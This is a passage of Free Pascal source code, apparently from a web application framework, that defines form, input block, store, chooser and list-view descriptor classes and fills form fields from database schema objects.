Result.Field('relSize').AsInt16:=relSize;
Field('sizeSum').AsInt16:=Field('sizeSum').AsInt16+relSize;
end;
function TFRE_DB_INPUT_BLOCK_DESC.AddBlock(const relSize: Integer): TFRE_DB_INPUT_BLOCK_DESC;
begin
Result:=inherited AddBlock;
Result.Field('relSize').AsInt16:=relSize;
Field('sizeSum').AsInt16:=Field('sizeSum').AsInt16+relSize;
end;
//function TFRE_DB_INPUT_BLOCK_DESC.AddList(const relSize: Integer): TFRE_DB_VIEW_LIST_DESC;
//begin
// Result:=inherited AddList;
// Result.Field('relSize').AsInt16:=relSize;
// Field('sizeSum').AsInt16:=Field('sizeSum').AsInt16+relSize;
//end;
procedure TFRE_DB_INPUT_BLOCK_DESC.AddStore(const store: TFRE_DB_STORE_DESC);
var
obj: IFRE_DB_Object;
begin
obj:= Self.ObjectRoot;
if obj.Implementor_HC is TFRE_DB_FORM_DESC then begin
if obj.Implementor_HC<>Self then begin
TFRE_DB_FORM_DESC(obj.Implementor_HC).AddStore(store);
end else begin
inherited AddStore(store);
end;
end else begin
raise Exception.Create('Failed to add the store: Root Form not found!');
end;
end;
procedure TFRE_DB_INPUT_BLOCK_DESC.AddDBO(const id: String; const session: IFRE_DB_UserSession; const groupPreFix:String);
var
obj: IFRE_DB_Object;
begin
obj := Self.ObjectRoot;
if obj.Implementor_HC is TFRE_DB_FORM_DESC then begin
if obj.Implementor_HC<>Self then begin
(obj.Implementor_HC as TFRE_DB_FORM_DESC).AddDBO(id, session, groupPreFix);
end else begin
inherited AddDBO(id,session,groupPreFix);
end;
end else begin
raise Exception.Create('Failed to add the dbo: Root Form not found!');
end;
end;
function TFRE_DB_INPUT_BLOCK_DESC.GetStore(const id: String): TFRE_DB_STORE_DESC;
var
obj: IFRE_DB_Object;
begin
obj := Self.ObjectRoot;
if obj.Implementor_HC is TFRE_DB_FORM_DESC then begin
if obj.Implementor_HC<>Self then begin
Result:=TFRE_DB_FORM_DESC(obj.Implementor_HC).GetStore(id);
end else begin
Result:=inherited GetStore(id);
end;
end else begin
raise Exception.Create('Failed to get the store: Root Form not found!');
end;
end;
class function TFRE_DB_INPUT_BLOCK_DESC.getDefaultBlockSize: Integer;
begin
Result:=10;
end;
function TFRE_DB_INPUT_GROUP_PROXY_DESC.Describe(const caption: String; const loadFunc: TFRE_DB_SERVER_FUNC_DESC): TFRE_DB_INPUT_GROUP_PROXY_DESC;
begin
_Describe(caption,true,true);
Field('loadFunc').AsObject:=loadFunc;
Result:=Self;
end;
{ TFRE_DB_INPUT_GROUP_PROXY_DESC }
function TFRE_DB_INPUT_GROUP_PROXY_DATA_DESC.Describe(const elementId: String):TFRE_DB_INPUT_GROUP_PROXY_DATA_DESC;
begin
Field('elementId').AsString:=elementId;
Result:=Self;
end;
{ TFRE_DB_RESOURCE_DESC }
function TFRE_DB_RESOURCE_DESC.Describe(const data: IFRE_DB_Object): TFRE_DB_RESOURCE_DESC;
begin
Field('data').AsStream:=data.Field('data').AsStream;
Field('mimetype').AsString:=data.Field('mimetype').AsString;
Result:=Self;
end;
{ TFRE_DB_FORM_INPUT_DESC }
function TFRE_DB_FORM_INPUT_DESC.Describe(const caption, field_reference: String; const required: Boolean; const groupRequired: Boolean; const disabled: boolean; const hidden: Boolean; const defaultValue: String; const validator: IFRE_DB_ClientFieldValidator; const validatorConfigParams: IFRE_DB_Object): TFRE_DB_FORM_INPUT_DESC;
begin
Field('caption').AsString := caption;
Field('field').AsString := LowerCase(field_reference);
Field('defaultValue').AsString := defaultValue;
Field('required').AsBoolean := required;
Field('groupRequired').AsBoolean := groupRequired;
Field('disabled').AsBoolean := disabled;
Field('hidden').AsBoolean := hidden;
if Assigned(validator) then begin
Field('vtype').AsObject:=TFRE_DB_VALIDATOR_DESC.create.Describe(validator.ObjectName,validator.getRegExp,validator.getHelpTextKey,validator.getAllowedChars,validator.getReplaceRegExp,validator.getReplaceValue,validatorConfigParams);
end;
if not FieldExists('id') then begin
Field('id').AsString:='id'+UID_String;
end;
Result:=Self;
end;
procedure TFRE_DB_FORM_INPUT_DESC.AddDependence(const fieldName: String; const disablesField: Boolean);
var
obj: IFRE_DB_Object;
begin
obj:=GFRE_DBI.NewObject;
obj.Field('fieldName').AsString:=LowerCase(fieldName);
obj.Field('disablesField').AsBoolean:=disablesField;
Field('dependentFields').AddObject(obj);
end;
procedure TFRE_DB_FORM_INPUT_DESC.AddDependence(const inputGroup: TFRE_DB_INPUT_GROUP_DESC; const disablesFields: Boolean);
var
i: Integer;
begin
for i := 0 to inputGroup.Field('elements').ValueCount - 1 do begin
AddDependence(inputGroup.Field('elements').AsObjectItem[i].Field('field').AsString,disablesFields);
end;
end;
procedure TFRE_DB_FORM_INPUT_DESC.setDefaultValue(const value:String);
begin
Field('defaultValue').AsString:=value;
end;
{ TFRE_DB_STORE_ENTRY_DESC }
function TFRE_DB_STORE_ENTRY_DESC.Describe(const caption, value: string):TFRE_DB_STORE_ENTRY_DESC;
begin
Field('caption').AsString:=caption;
Field('value').AsString:=value;
Result:=Self;
end;
{ TFRE_DB_STORE_DESC }
function TFRE_DB_STORE_DESC.Describe(const idField: String; const serverFunc: TFRE_DB_SERVER_FUNC_DESC; const sortAndFilterFunc: TFRE_DB_SERVER_FUNC_DESC; const destroyFunc: TFRE_DB_SERVER_FUNC_DESC; const clearQueryIdFunc: TFRE_DB_SERVER_FUNC_DESC; const id: String; const pageSize: Integer): TFRE_DB_STORE_DESC;
begin
Field('idField').AsString:=idField;
if Assigned(serverFunc) then begin
Field('serverFunc').AsObject:=serverFunc;
end;
if Assigned(sortAndFilterFunc) then begin
Field('sortAndFilterFunc').AsObject:=sortAndFilterFunc;
end;
if Assigned(clearQueryIdFunc) then begin
Field('clearQueryIdFunc').AsObject:=clearQueryIdFunc;
end;
if Assigned(destroyFunc) then begin
Field('destroyFunc').AsObject:=destroyFunc;
end;
Field('pageSize').AsInt16:=pageSize;
if id='' then begin
Field('id').AsString:='id'+UID_String;
end else begin
Field('id').AsString:=id;
end;
result := self;
end;
function TFRE_DB_STORE_DESC.AddEntry: TFRE_DB_STORE_ENTRY_DESC;
begin
Result := TFRE_DB_STORE_ENTRY_DESC.create;
Field('entries').AddObject(Result);
end;
function TFRE_DB_STORE_DESC.FindEntryByCaption(const caption: String): String;
var
i: Integer;
begin
Result:='';
for i := 0 to Field('entries').ValueCount - 1 do begin
if Field('entries').AsObjectItem[i].Field('caption').AsString=caption then begin
Result:=Field('entries').AsObjectItem[i].Field('value').AsString;
exit;
end;
end;
end;
{ TFRE_DB_INPUT_BOOL_DESC }
function TFRE_DB_INPUT_BOOL_DESC.Describe(const caption, field_reference: string; const required: boolean; const groupRequired: Boolean; const disabled: boolean; const defaultValue: Boolean): TFRE_DB_INPUT_BOOL_DESC;
begin
inherited Describe(caption,field_reference,required,groupRequired,disabled,false,BoolToStr(defaultValue,'true','false'));
Result:=Self;
end;
{ TFRE_DB_INPUT_CHOOSER_DESC }
procedure TFRE_DB_INPUT_CHOOSER_DESC.addDependentInput(const inputId: String; const chooserValue: String; const visible: TFRE_DB_FieldDepVisibility; const enabledState: TFRE_DB_FieldDepEnabledState; const caption: String; const validator: IFRE_DB_ClientFieldValidator; const validatorConfigParams: IFRE_DB_Object);
var
obj: IFRE_DB_Object;
begin
obj:=GFRE_DBI.NewObject;
obj.Field('inputId').AsString:=inputId;
obj.Field('value').AsString:=chooserValue;
obj.Field('visible').AsString:=CFRE_DB_FIELDDEPVISIBILITY[visible];
obj.Field('enabledState').AsString:=CFRE_DB_FIELDDEPENABLEDSTATE[enabledState];
obj.Field('caption').AsString:=caption;
if Assigned(validator) then begin
obj.Field('vtype').AsObject:=TFRE_DB_VALIDATOR_DESC.create.Describe(validator.ObjectName,validator.getRegExp,validator.getHelpTextKey,validator.getAllowedChars,validator.getReplaceRegExp,validator.getReplaceValue,validatorConfigParams);
end;
Field('dependentInputFields').AddObject(obj);
end;
procedure TFRE_DB_INPUT_CHOOSER_DESC.addDependentInputGroup(const inputGroup: TFRE_DB_INPUT_GROUP_DESC; const chooserValue: String; const visible: TFRE_DB_FieldDepVisibility; const enabledState: TFRE_DB_FieldDepEnabledState);
var
i: Integer;
begin
for i := 0 to inputGroup.Field('elements').ValueCount - 1 do begin
if inputGroup.Field('elements').AsObjectItem[i].Implementor_HC is TFRE_DB_INPUT_GROUP_DESC then begin
addDependentInputGroup(inputGroup.Field('elements').AsObjectItem[i].Implementor_HC as TFRE_DB_INPUT_GROUP_DESC,chooserValue,visible,enabledState);
end else begin
if inputGroup.Field('elements').AsObjectItem[i].Implementor_HC is TFRE_DB_INPUT_BLOCK_DESC then begin
addDependentInput(inputGroup.Field('elements').AsObjectItem[i].Field('id').AsString,chooserValue,visible,enabledState);
end else begin
addDependentInput(inputGroup.Field('elements').AsObjectItem[i].Field('field').AsString,chooserValue,visible,enabledState);
end;
end;
end;
end;
procedure TFRE_DB_INPUT_CHOOSER_DESC.setStore(const store: TFRE_DB_STORE_DESC);
var
obj: IFRE_DB_Object;
begin
obj:=GFRE_DBI.NewObject;
obj.Field('id').AsString:=store.Field('id').AsString;
obj.Field('serverFuncExists').AsBoolean:=store.FieldExists('serverFunc');
Field('store').AsObject:=obj;
(Parent.Parent.Implementor_HC as TFRE_DB_FORM_DESC).AddStore(store);
end;
procedure TFRE_DB_INPUT_CHOOSER_DESC.addOption(const caption, value: String);
var
store: TFRE_DB_STORE_DESC;
begin
store:=(Parent.Parent.Implementor_HC as TFRE_DB_FORM_DESC).GetStore(FieldPath('store.id').AsString);
store.AddEntry.Describe(caption,value);
end;
function TFRE_DB_INPUT_CHOOSER_DESC.Describe(const caption, field_reference: string; const store: TFRE_DB_STORE_DESC; const display_hint: TFRE_DB_CHOOSER_DH; const required: boolean; const groupRequired: Boolean; const add_empty_for_required: Boolean; const disabled: boolean; const defaultValue: String): TFRE_DB_INPUT_CHOOSER_DESC;
var
obj : IFRE_DB_Object;
begin
inherited Describe(caption,field_reference,required,groupRequired,disabled,false,defaultValue);
Field('displayHint').AsString:=CFRE_DB_CHOOSER_DH[display_hint];
Field('addEmptyForRequired').AsBoolean:=add_empty_for_required;
obj:=GFRE_DBI.NewObject;
obj.Field('id').AsString:=store.Field('id').AsString;
obj.Field('serverFuncExists').AsBoolean:=store.FieldExists('serverFunc');
Field('store').AsObject:=obj;
Field('cce').AsBoolean:=false;
(Parent.Parent.Implementor_HC as TFRE_DB_FORM_DESC).AddStore(store);
Result:=Self;
end;
function TFRE_DB_INPUT_CHOOSER_DESC.DescribeMultiValue(const caption, field_reference: string; const store: TFRE_DB_STORE_DESC; const display_hint:TFRE_DB_CHOOSER_DH; const required: boolean; const groupRequired: Boolean; const add_empty_for_required: Boolean; const disabled: boolean; const defaultValue:TFRE_DB_StringArray): TFRE_DB_INPUT_CHOOSER_DESC;
var
defVal: String;
i : Integer;
begin
if Assigned(defaultValue) then begin
defVal:=defaultValue[0];
end else begin
defVal:='';
end;
Describe(caption,field_reference,store,display_hint,required,groupRequired,add_empty_for_required,disabled,defVal);
for i := 1 to High(defaultValue) do begin
Field('defaultValue').AddString(defaultValue[i]);
end;
Result:=Self;
end;
procedure TFRE_DB_INPUT_CHOOSER_DESC.addFilterEvent(const filteredStoreId,refId: String);
var
obj: IFRE_DB_Object;
begin
obj:=GFRE_DBI.NewObject;
obj.Field('storeId').AsString:=filteredStoreId;
obj.Field('refId').AsString:=refId;
Field('filteredStore').AddObject(obj);
end;
procedure TFRE_DB_INPUT_CHOOSER_DESC.captionCompareEnabled(const enabled: Boolean);
begin
Field('cce').AsBoolean:=enabled;
end;
{ TFRE_DB_VIEW_LIST_DESC }
function TFRE_DB_VIEW_LIST_DESC.AddButton: TFRE_DB_VIEW_LIST_BUTTON_DESC;
begin
Result:=TFRE_DB_VIEW_LIST_BUTTON_DESC.create;
Field('buttons').AddObject(Result);
end;
function TFRE_DB_VIEW_LIST_DESC.Describe(const store: TFRE_DB_STORE_DESC;const layout: TFRE_DB_VIEW_LIST_LAYOUT_DESC;const itemContextMenuFunc: TFRE_DB_SERVER_FUNC_DESC; const title: String;const displayFlags: TFRE_COLLECTION_GRID_DISPLAY_FLAGS;const detailsFunc: TFRE_DB_SERVER_FUNC_DESC;const selectionDepFunc: TFRE_DB_SERVER_FUNC_DESC;const saveFunc: TFRE_DB_SERVER_FUNC_DESC;const dropFunc: TFRE_DB_SERVER_FUNC_DESC;const dragFunc: TFRE_DB_SERVER_FUNC_DESC): TFRE_DB_VIEW_LIST_DESC;
begin
Field('title').AsString:=title;
Field('store').AsObject:=store;
Field('layout').AsObject:=layout;
if Assigned(itemContextMenuFunc) then begin
Field('itemMenuFunc').AsObject:=itemContextMenuFunc.CloneToNewObject();
end;
Field('showSearch').AsBoolean:=cdgf_ShowSearchbox in displayFlags;
Field('editable').AsBoolean:=cdgf_Editable in displayFlags;
if Assigned(detailsFunc) then begin
Field('detailsFunc').AsObject:=detailsFunc.CloneToNewObject();
end;
if Assigned(selectionDepFunc) then begin
Field('selectionDepFunc').AsObject:=selectionDepFunc.CloneToNewObject();
end;
if Assigned(saveFunc) then begin
Field('saveFunc').AsObject:=saveFunc.CloneToNewObject();
end;
if Assigned(dropFunc) then begin
Field('dropFunc').AsObject:=dropFunc.CloneToNewObject();
end;
if Assigned(dragFunc) then begin
Field('dragFunc').AsObject:=dragFunc.CloneToNewObject();
end;
Field('disableDrag').AsBoolean:=false;
Field('children').AsBoolean:=cdgf_Children in displayFlags;
Field('columnResize').AsBoolean:=cdgf_ColumnResizeable in displayFlags;
Field('columnHide').AsBoolean:=cdgf_ColumnHideable in displayFlags;
Field('columnDrag').AsBoolean:=cdgf_ColumnDragable in displayFlags;
Field('multiselect').AsBoolean:=cdgf_Multiselect in displayFlags;
Field('details').AsBoolean:=cdgf_Details in displayFlags;
if not FieldExists('id') then begin
Field('id').AsString:='id'+UID_String;
end;
if not FieldExists('toolbarTop') then Field('toolbarTop').AsBoolean:=false;
if not FieldExists('toolbarBottom') then Field('toolbarBottom').AsBoolean:=false;
Result:=Self;
end;
procedure TFRE_DB_VIEW_LIST_DESC.SetTitle(const title: String);
begin
Field('title').AsString:=title;
end;
procedure TFRE_DB_VIEW_LIST_DESC.SetMenu(const menu: TFRE_DB_MENU_DESC);
begin
Field('menu').AsObject:=menu;
end;
procedure TFRE_DB_VIEW_LIST_DESC.AddFilterEvent(const filteredStoreId, refId: String);
var
obj : IFRE_DB_Object;
begin
obj := GFRE_DBI.NewObject;
obj.Field('storeId').AsString := filteredStoreId;
obj.Field('refId').AsString:=refId;
Field('filteredStore').AddObject(obj);
end;
procedure TFRE_DB_VIEW_LIST_DESC.SetDropGrid(const grid: TFRE_DB_VIEW_LIST_DESC; const DnDClassesMultiple: TFRE_DB_StringArray; const DnDClassesSingle: TFRE_DB_StringArray);
var
i,j : Integer;
isnew: Boolean;
begin
Field('dragId').AsString:=Field('id').AsString+'_grid';
grid.Field('dropId').AddString(Field('id').AsString+'_grid');
if Assigned(DnDclassesMultiple) then begin
for i := 0 to Length(DnDclassesMultiple) - 1 do begin
isnew:=true;
for j := 0 to grid.Field('dropClassesMultiple').ValueCount - 1 do begin
if grid.Field('dropClassesMultiple').AsStringItem[j]=DnDclassesMultiple[i] then begin
isnew:=false;
break;
end;
end;
if isnew then begin
grid.Field('dropClassesMultiple').AddString(DnDclassesMultiple[i]);
end;
end;
end;
if Assigned(DnDClassesSingle) then begin
for i := 0 to Length(DnDClassesSingle) - 1 do begin
isnew:=true;
for j := 0 to grid.Field('dropClassesSingle').ValueCount - 1 do begin
if grid.Field('dropClassesSingle').AsStringItem[j]=DnDClassesSingle[i] then begin
isnew:=false;
break;
end;
end;
if isnew then begin
grid.Field('dropClassesSingle').AddString(DnDClassesSingle[i]);
end;
end;
end;
end;
procedure TFRE_DB_VIEW_LIST_DESC.SetDragClasses(const DnDclasses: TFRE_DB_StringArray);
begin
Field('dragClasses').AsStringArr:=DnDclasses;
end;
procedure TFRE_DB_VIEW_LIST_DESC.AddEntryAction(const serverFunc: TFRE_DB_SERVER_FUNC_DESC; const icon: String; const tooltip:String);
var
obj: IFRE_DB_Object;
begin
obj:=GFRE_DBI.NewObject;
obj.Field('serverFunc').AsObject:=serverFunc;
if icon<>'' then begin
obj.Field('icon').AsString:=FREDB_getThemedResource(icon);
end;
obj.Field('tooltip').AsString:=tooltip;
Field('entryActions').AddObject(obj);
end;
procedure TFRE_DB_VIEW_LIST_DESC.SetDependentContent(const contentFunc: TFRE_DB_SERVER_FUNC_DESC);
begin
Field('depContentFunc').AsObject:=contentFunc;
end;
procedure TFRE_DB_VIEW_LIST_DESC.disableDrag;
begin
Field('disableDrag').AsBoolean:=true;
end;
{ TFRE_DB_FORM_DESC }
function TFRE_DB_FORM_DESC.GetFormElement(const elementId: String): TFRE_DB_CONTENT_DESC;
var
i: Integer;
begin
Result:=nil;
for i := 0 to Field('elements').ValueCount - 1 do begin
if Field('elements').AsObjectItem[i].Field('field').AsString=elementId then begin
Result:=Field('elements').AsObjectItem[i].Implementor_HC as TFRE_DB_CONTENT_DESC;
exit;
end;
if (Field('elements').AsObjectItem[i].Implementor_HC is TFRE_DB_INPUT_BLOCK_DESC) or (Field('elements').AsObjectItem[i].Implementor_HC is TFRE_DB_INPUT_GROUP_DESC) then begin
Result:= (Field('elements').AsObjectItem[i].Implementor_HC as TFRE_DB_FORM_DESC).GetFormElement(elementId);
if Assigned(Result) then begin
exit;
end;
end;
end;
end;
function TFRE_DB_FORM_DESC.Describe(const caption: String; const defaultClose: Boolean; const sendChangedFieldsOnly: Boolean; const editable: Boolean; const onChangeFunc: TFRE_DB_SERVER_FUNC_DESC; const onChangeDelay: Integer; const onDestroyFunc: TFRE_DB_SERVER_FUNC_DESC; const hideEmptyGroups: Boolean): TFRE_DB_FORM_DESC;
begin
Field('caption').AsString:=caption;
Field('defaultClose').AsBoolean:=defaultClose;
Field('sendChanged').AsBoolean:=sendChangedFieldsOnly;
Field('editable').AsBoolean:=editable;
Field('hideEmptyGroups').AsBoolean:=hideEmptyGroups;
if Assigned(onChangeFunc) then begin
Field('onChangeFunc').AsObject:=onChangeFunc;
Field('onChangeDelay').AsInt64:=onChangeDelay;
end;
if Assigned(onDestroyFunc) then begin
Field('onDestroyFunc').AsObject:=onDestroyFunc;
end;
if not FieldExists('id') then begin
Field('id').AsString:='id'+UID_String;
end;
Result:=Self;
end;
procedure TFRE_DB_FORM_DESC._FillWithObjectValues(const obj: IFRE_DB_Object; const session: IFRE_DB_UserSession; const prefix:String);
var
i,j : Integer;
val : String;
objField : IFRE_DB_FIELD;
objFieldN : TFRE_DB_NameType;
store : TFRE_DB_STORE_DESC;
scheme : IFRE_DB_SCHEMEOBJECT;
fielddef : IFRE_DB_FieldSchemeDefinition;
FieldPathStr: String;
procedure DoPreRender(const plugin : TFRE_DB_OBJECT_PLUGIN_BASE);
begin
if plugin.EnhancesFormRendering then
plugin.RenderFormEntry(self,obj,true);
end;
procedure DoPostRender(const plugin : TFRE_DB_OBJECT_PLUGIN_BASE);
begin
if plugin.EnhancesFormRendering then
plugin.RenderFormEntry(self,obj,false);
end;
begin
scheme := obj.GetScheme(true);
obj.ForAllPlugins(@DoPreRender);
for i := 0 to Field('elements').ValueCount - 1 do begin
if (Field('elements').AsObjectItem[i].Implementor_HC is TFRE_DB_INPUT_BLOCK_DESC) or (Field('elements').AsObjectItem[i].Implementor_HC is TFRE_DB_INPUT_GROUP_DESC) then begin
(Field('elements').AsObjectItem[i].Implementor_HC as TFRE_DB_FORM_DESC)._FillWithObjectValues(obj,session,prefix);
end else begin
if Field('elements').AsObjectItem[i].Field('confirms').AsString<>'' then begin
FieldPathStr:=Field('elements').AsObjectItem[i].Field('confirms').AsString;
end else begin
FieldPathStr:=Field('elements').AsObjectItem[i].Field('field').AsString;
end;
if (prefix<>'') then begin
if (pos(prefix,FieldPathStr)=1) then begin
FieldPathStr:=Copy(FieldPathStr,Length(prefix)+1,MaxInt);
objField:=obj.FieldPath(fieldPathStr,true);
end else begin
objField:=nil;
end;
end else begin
objField:=obj.FieldPath(fieldPathStr,true);
end;
if Assigned(objField) then begin
if objField.AsString = cFRE_DB_SYS_CLEAR_VAL_STR then continue; //skip clear value
objFieldN := objField.FieldName;
if (Field('elements').AsObjectItem[i].Implementor_HC is TFRE_DB_INPUT_CHOOSER_DESC) then begin
if Field('elements').AsObjectItem[i].Field('cce').AsBoolean and (objField.FieldType=fdbft_Object) then begin
val := Field('elements').AsObjectItem[i].Field('store').AsObject.field('id').AsString;
// val := Field('elements').AsObjectItem[i].Field('store').AsString;
store:=GetStore(val);
val:=store.FindEntryByCaption(objField.AsObject.GetFormattedDisplay);
if val='' then begin
store.AddEntry.Describe(objField.AsObject.GetFormattedDisplay,'__deletedObjId__');
Field('elements').AsObjectItem[i].Field('defaultValue').AsString:='__deletedObjId__';
end else begin
Field('elements').AsObjectItem[i].Field('defaultValue').AsString:=val;
end;
end else begin
Field('elements').AsObjectItem[i].Field('defaultValue').AsStringArr:=objField.AsStringArr;
end;
end else begin
if objField.ValueCount > 1 then begin
val:='';
for j := 0 to objField.ValueCount - 1 do begin
if j<>0 then begin
val:=val+'\n';
end;
val:=val+objField.AsStringItem[j];
end;
end else begin
if Field('elements').AsObjectItem[i].Implementor_HC is TFRE_DB_INPUT_DATE_DESC then begin
val:=IntToStr(objField.AsInt64);
end else begin
if assigned(scheme) and (scheme.GetSchemeField(objFieldN,fielddef)) then begin
if fielddef.isPass then begin
val := '*BAD*';
end else begin
if fielddef.FieldType = fdbft_Stream then begin {Session Url Encode the Stream field, automagically, if field is empty no URL should be generated / no filename...}
if obj.FieldExists(objFieldN) then begin
val := session.GetDownLoadLink4StreamField(obj.UID,objFieldN,false,obj.Field(objFieldN+cFRE_DB_STKEY).AsString,'',obj.Field(objFieldN+cFRE_DB_ST_ETAG).AsString)
end else begin
val := '';
end;
end else begin
{ Fallback }
if fielddef.FieldType = fdbft_ObjLink then begin
val:=FREDB_G2H(objField.AsObjectLink);
end else begin
val:=objField.AsString;
end;
end;
end;
end else begin
if objField.FieldType = fdbft_ObjLink then begin
val:=FREDB_G2H(objField.AsObjectLink);
end else begin
val:=objField.AsString;
end;
end
end;
end;
Field('elements').AsObjectItem[i].Field('defaultValue').AsString:=val;
end;
end;
end;
end;
end;
procedure TFRE_DB_FORM_DESC._addFields(const schemeGroup: IFRE_DB_InputGroupSchemeDefinition; const session: IFRE_DB_UserSession; const fields: IFRE_DB_FieldDef4GroupArr; const prefix: String; const groupPreFix: String; const groupRequired: Boolean; const withoutCaptions: Boolean; const group: TFRE_DB_INPUT_GROUP_DESC; const block: TFRE_DB_INPUT_BLOCK_DESC; const blockSizes: array of Integer);
var
i : integer;
scheme : IFRE_DB_SchemeObject;
newPrefix : String;
newGroup : TFRE_DB_INPUT_GROUP_DESC;
newBlock : TFRE_DB_INPUT_BLOCK_DESC;
inputGroup : IFRE_DB_InputGroupSchemeDefinition;
required : Boolean;
path : TFOSStringArray;
fieldDef : IFRE_DB_FieldSchemeDefinition;
inputPrefix: String;
blockSize : Integer;
function _getText(const key:TFRE_DB_String):TFRE_DB_String;
begin
Result:=session.GetDBConnection.FetchTranslateableTextShort(key);
end;
procedure _addInput(const obj:IFRE_DB_FieldDef4Group; const prefix:String; const requiredParent:Boolean; const group: TFRE_DB_INPUT_GROUP_DESC; const block: TFRE_DB_INPUT_BLOCK_DESC; const blockSize: Int16);
var
coll : IFRE_DB_COLLECTION;
store : TFRE_DB_STORE_DESC;
required : Boolean;
enum : IFRE_DB_Enum;
enumVals : IFRE_DB_ObjectArray;
validator : IFRE_DB_ClientFieldValidator;
valParams : IFRE_DB_Object;
i : Integer;
inputField : TFRE_DB_FORM_INPUT_DESC;
dataCollectionName : TFRE_DB_NameType;
dataCollIsDerived : Boolean;
standardColl : TFRE_DB_STANDARD_COLL;
chooserField : TFRE_DB_INPUT_CHOOSER_DESC;
domainEntries : Integer;
domainValue : String;
dcoll : IFRE_DB_DERIVED_COLLECTION;
fldCaption : String;
procedure addObjects(const obj: IFRE_DB_Object);
begin
if (standardColl=coll_NONE) or
not (obj.FieldExists('internal') and obj.Field('internal').AsBoolean) then
store.AddEntry.Describe(obj.GetFormattedDisplay,obj.UID_String);
end;
procedure DepITerator(const df : R_Depfieldfield);
begin
inputField.AddDependence(prefix+df.depFieldName,df.disablesField);
end;
procedure EnumDepITerator(const vdf : R_EnumDepfieldfield);
var
validator :IFRE_DB_ClientFieldValidator;
validatorParams :IFRE_DB_Object;
begin
validator:=nil;
validatorParams:=nil;
if vdf.valKey<>'' then begin
GFRE_DBI.GetSystemClientFieldValidator(vdf.valKey,validator);
if Assigned(vdf.valParams) then begin
validatorParams:=vdf.valParams;
end;
end;
chooserField.addDependentInput(prefix+vdf.depFieldName,vdf.enumValue,vdf.visible,vdf.enabledState,session.GetDBConnection.FetchTranslateableTextShort(vdf.capTransKey),validator,validatorParams);
end;
procedure _addDomain(const domain: IFRE_DB_Domain);
begin
if session.GetDBConnection.URT(false).CheckClassRight4Domain(obj.GetStdRight,obj.GetRightClass,domain.Domainname) then begin
store.AddEntry.Describe(domain.Domainname,domain.Domainkey);
domainEntries:=domainEntries+1;
domainValue:=domain.Domainkey;
end;
end;
begin
required := requiredParent and obj.GetRequired;
dataCollectionName := obj.GetDatacollection;
dataCollIsDerived := obj.GetCollectionIsDerived;
standardColl := obj.GetStandardCollection;
store := nil;
coll := nil;
if withoutCaptions then begin
fldCaption := '';
end else begin
fldCaption := _getText(obj.GetCaptionKey);
end;
if (dataCollectionName<>'') or (standardColl<>coll_NONE) then begin
if obj.GetHidden then begin
if Assigned(group) then begin
inputField:=group.AddInput;
end else begin
inputField:=block.AddInput(blockSize);
end;
(inputField as TFRE_DB_INPUT_DESC).Describe('',prefix+obj.GetfieldName,false,false,false,true,obj.GetDefault);
end else begin
//try dataCollection first (standard collection can be used as fallback)
if dataCollectionName<>'' then begin
if dataCollIsDerived then begin
dcoll:=session.FetchDerivedCollection(dataCollectionName);
if assigned(dcoll) then begin
store:=dcoll.GetStoreDescription as TFRE_DB_STORE_DESC;
end else begin
if standardColl=coll_NONE then
raise EFRE_DB_Exception.Create(edb_NOT_FOUND,'The specified fieldbacking derived collection was not found : ['+dataCollectionName+']');
end;
end else begin
coll := session.GetDBConnection.GetCollection(dataCollectionName);
if not assigned(coll) and (standardColl=coll_NONE) then raise EFRE_DB_Exception.Create(edb_NOT_FOUND,'The specified fieldbacking datacollection was not found : ['+dataCollectionName+']');
end;
end;
if not Assigned(store) and not Assigned(coll) then begin
case standardColl of
coll_DOMAIN : coll:=session.GetDBConnection.AdmGetDomainCollection;
coll_GROUP : coll:=session.GetDBConnection.AdmGetGroupCollection;
coll_USER : coll:=session.GetDBConnection.AdmGetUserCollection;
coll_WFACTION: coll:=session.GetDBConnection.AdmGetWorkFlowMethCollection;
end;
end;
if Assigned(coll) then begin
store:=TFRE_DB_STORE_DESC.create.Describe();
coll.ForAll(@addObjects);
end;
if Assigned(group) then begin
chooserField:=group.AddChooser;
end else begin
chooserField:=block.AddChooser(blockSize);
end;
chooserField.Describe(fldCaption,prefix+obj.GetfieldName,store,obj.GetChooserType,required,obj.GetRequired,obj.GetChooserAddEmptyValue,obj.GetDisabled,obj.GetDefault);
inputField:=chooserField;
chooserField.captionCompareEnabled(true);
end;
end else begin
if obj.GetRightClass<>'' then begin
store:=TFRE_DB_STORE_DESC.create.Describe();
domainEntries:=0;
domainValue:='';
session.GetDBConnection.SYS.ForAllDomains(@_addDomain);
if obj.GetHideSingle and (domainEntries=1) then begin
if Assigned(group) then begin
inputField:=group.AddInput;
end else begin
inputField:=block.AddInput(blockSize);
end;
(inputField as TFRE_DB_INPUT_DESC).Describe('',prefix+obj.GetfieldName,false,false,false,true,domainValue);
end else begin
if Assigned(group) then begin
chooserField:=group.AddChooser;
end else begin
chooserField:=block.AddChooser(blockSize);
end;
chooserField.Describe(fldCaption,prefix+obj.GetfieldName,store,obj.GetChooserType,required,obj.GetRequired,obj.GetChooserAddEmptyValue,obj.GetDisabled,obj.GetDefault);
inputField:=chooserField;
obj.FieldSchemeDefinition.ForAllEnumDepfields(@EnumDepITerator);
end;
end else begin
if obj.FieldSchemeDefinition.getEnum(enum) then begin
if obj.GetHidden then begin
if Assigned(group) then begin
inputField:=group.AddInput;
end else begin
inputField:=block.AddInput(blockSize);
end;
(inputField as TFRE_DB_INPUT_DESC).Describe('',prefix+obj.GetfieldName,false,false,false,true,obj.GetDefault);
end else begin
store:=TFRE_DB_STORE_DESC.create.Describe();
enumVals:=enum.getEntries;
for i := 0 to Length(enumVals) - 1 do begin
store.AddEntry.Describe(_getText(enumVals[i].Field('c').AsString),enumVals[i].Field('v').AsString);
end;
if Assigned(group) then begin
chooserField:=group.AddChooser;
end else begin
chooserField:=block.AddChooser(blockSize);
end;
chooserField.Describe(fldCaption,prefix+obj.GetfieldName,store,obj.GetChooserType,required,obj.GetRequired,obj.GetChooserAddEmptyValue,obj.GetDisabled,obj.GetDefault);
inputField:=chooserField;
obj.FieldSchemeDefinition.ForAllEnumDepfields(@EnumDepITerator);
end;
end else begin
if obj.GetValidator(validator) then begin
valParams:=obj.getValidatorParams;
end else begin
obj.FieldSchemeDefinition.getValidator(validator);
valParams:=obj.FieldSchemeDefinition.getValidatorParams;
end;
case obj.FieldSchemeDefinition.FieldType of
fdbft_UInt16,fdbft_UInt32,fdbft_UInt64,
fdbft_Int16,fdbft_Int32,fdbft_Int64 :
with obj do begin
if Assigned(group) then begin
inputField:=group.AddNumber;
end else begin
inputField:=block.AddNumber(blockSize);
end;
